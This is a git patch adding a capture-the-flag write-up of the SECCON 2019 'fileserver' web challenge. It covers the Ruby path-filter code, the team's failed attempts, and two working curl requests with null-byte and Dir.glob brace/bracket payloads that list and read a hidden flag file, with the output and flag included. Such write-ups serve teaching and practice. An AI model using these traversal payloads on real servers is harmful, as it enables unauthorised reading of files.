From 4a74b3bbbf0c6389edb1b9673bb038c4fb9a56a7 Mon Sep 17 00:00:00 2001 From: "Jan Vales (Someone)" Date: Fri, 17 Jan 2020 22:17:11 +0000 Subject: [PATCH] Add my writeup for seccon:fileserver. --- writeups/writeups/someone/seccon19.md | 166 ++++++++++++++++++++++++++ 1 file changed, 166 insertions(+) create mode 100644 writeups/writeups/someone/seccon19.md diff --git a/writeups/writeups/someone/seccon19.md b/writeups/writeups/someone/seccon19.md new file mode 100644 index 0000000..47fccfc --- /dev/null +++ b/writeups/writeups/someone/seccon19.md @@ -0,0 +1,166 @@ +# Fileserver (web) ++ 345 points/39 solves ++ I actually never wrote ruby before. + + The challenge was mostly googling ruby-docs. ++ Unfortunately this is my best documented challenge this term so far :/ + + +## description +``` +I donno apache or nginx things well, I guess I can implement one for myself though. See? It’s easy! +http://fileserver.chal.seccon.jp:9292/public/index.html +Due to maintainability, we restart the server of fileserver challenge every 5 minutes. +``` + +The challenge is two-staged and consisted of a few files served by itself: ++ app.rb ++ Gemfile ++ file-list-template ++ public/index.html ++ public/some-images + + +## TL;DR: Solution + +https://mattermost.w0y.at/seccon-2019/pl/ta1rjitc7jn4ugo4cw5z7nc5xa + +### Stage 1: Get flag path + +``curl --path-as-is -v 'fileserver.chal.seccon.jp:9292/%00/tmp/flags/' -o -`` +``` +> GET /%00/tmp/flags/ HTTP/1.1 +> Host: fileserver.chal.seccon.jp:9292 +> User-Agent: curl/7.64.0 +> Accept: */* +> +< HTTP/1.1 200 OK +< Content-Type: text/html +< Server: WEBrick/1.5.0 (Ruby/2.6.5/2019-10-01) +< Date: Sat, 19 Oct 2019 16:25:31 GMT +< Content-Length: 737 +< Connection: Keep-Alive +< + + + +Fileserver + +
+
+

Index of //tmp/flags/

+ +
+ WEBrick/1.5.0 (Ruby/2.6.5/2019-10-01) Server at fileserver.chal.seccon.jp:9292 +
+``` + +### Stage2: get file content + +``curl --path-as-is -v 'fileserver.chal.seccon.jp:9292/%7B/tmp/flags/K3Y90aCrrmQjHKMgJ1lWWiMBgK1p2MgI.txt,%5B%7D' -o -`` +``` +> GET /%7B/tmp/flags/K3Y90aCrrmQjHKMgJ1lWWiMBgK1p2MgI.txt,%5B%7D HTTP/1.1 +> Host: fileserver.chal.seccon.jp:9292 +> User-Agent: curl/7.64.0 +> Accept: */* +> +< HTTP/1.1 200 OK +< Content-Type: +< Server: WEBrick/1.5.0 (Ruby/2.6.5/2019-10-01) +< Date: Sat, 19 Oct 2019 16:26:01 GMT +< Content-Length: 36 +< Connection: Keep-Alive +< +SECCON{You_are_the_Globbin'_Slayer} +``` + + +## (Failed) Attempts +### 3:52 PM - Every file is also a directory. +``` +it seems to always show a "directory listing" if you add / at the end and the directory doesnt contain a dot + +http://fileserver.chal.seccon.jp:9292/Gemfile +http://fileserver.chal.seccon.jp:9292/Gemfile/ +``` + +But after fiddling around with that, it didnt reveal any vulnerabilities like possible file includes or directory traversals. + + +Teammate `@sumhack` was trying to get past the path-normalisation to make a classical path traversal work using dots. Without much sucess. But he noticed that ``if you add a [, you can use {} as you like``, but unfortunately deemed that information useless a short while later: ``i just realized that {} is useless for our task here``. + + +### 4:18 PM - Suspicion: globbing issues? +`````` +I suspect its something with file globbing. why would they check if the brackets match? just a red herring? + +``` +def is_bad_path(path) + bad_char = nil + + %w(* ? [ { \\).each do |char| + if path.include? char + bad_char = char + break + end + end + + if bad_char.nil? + false + else + # check if brackets are paired + if bad_char == ?{ + path[path.index(bad_char)..].include? ?} + elsif bad_char == ?[ + path[path.index(bad_char)..].include? ?] + else + true + end + end +end + +``` + +`````` + + +### nothing works :( +After more than a hour of trying to get a classical path traversal to work. Finally there was progress. ++ I was shown what I did wrong: missing ``--path-as-is`` in my curl calls. ++ Now at least `@sumhack` and myself were getting the same errors and were stuck at the same spot. ++ The oranisers seem to have performance issues and the service is down for a while every few seconds. + + +### frustration :/ +Frustrated by the lack of any success or progress in exploiting ruby's string-interpolation I turned back to Dir.glob and wanted to understand, how it worked in full detail and started googling. Turns out: ++ It is widely used exactly the same in real-world, which normally is a bad sign for CTFs. ++ The matching works like a bash's globbing and not like regex. ++ There is a relatively recent CVE: ``CVE-2019-5418``. + + null-byte-injection it is! + + For some weird reason only the part AFTER the null-byte is matched, in case of a null-byte. + + +### 6:01 PM - getting there? +``` + /tmp/flags/c4Fc3iGV8YUfFqBkLUEYr0ur7GyuJBaH.txt + +but how do I get the file content? :/ +``` +It turns out: its a multi-staged challenge: We somehow still need to inject dots to get the file's content which we believed at this point to be impossible. + + +### 6:24 PM - PWND! ^.^ +Turns out: One does not need dots, if we can use Dir.glob. ++ To be able to use ``{}`` in glob, we need to used a ``[`` somewhere. ++ null-bytes do not help here. ++ The trick to get rid of the ``[`` is to put it inside of the ``{}`` match -> ``{something, [}`` and ``something = the absolute path of the flag``, and thats why we do not need any dots in the path. + +The flag: +``` +``SECCON{You_are_the_Globbin'_Slayer}`` +``` -- 2.43.0